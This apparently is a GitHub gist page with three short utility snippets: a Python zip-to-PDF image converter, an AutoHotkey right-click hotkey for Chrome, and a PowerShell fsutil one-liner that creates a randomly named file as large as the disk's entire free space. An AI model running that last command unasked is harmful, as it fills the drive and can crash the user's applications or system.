This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import zipfile | |
import pathlib | |
import img2pdf | |
# converts all zips in a directory to pdfs | |
for z in pathlib.Path('.').glob("*.zip"): | |
with zipfile.ZipFile(z) as zf: | |
with open(z.with_suffix(".pdf"), "wb") as f: | |
f.write(img2pdf.convert([zf.open(name).read() for name in zf.namelist() if name.endswith((".png", ".jpg",".jpeg"))])) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases. | |
; #Warn ; Enable warnings to assist with detecting common errors. | |
SendMode Input ; Recommended for new scripts due to its superior speed and reliability. | |
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory. | |
#IfWinActive ahk_class Chrome_WidgetWin_1 | |
^q:: | |
MouseGetPos, xpos, ypos | |
MouseClick, Right, xpos , ypos |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fsutil file createnew $(-join ((48..57) + (97..122) | Get-Random -Count 32 | % {[char]$_})) $(Get-CimInstance -ClassName Win32_LogicalDisk | Select -expand FreeSpace) |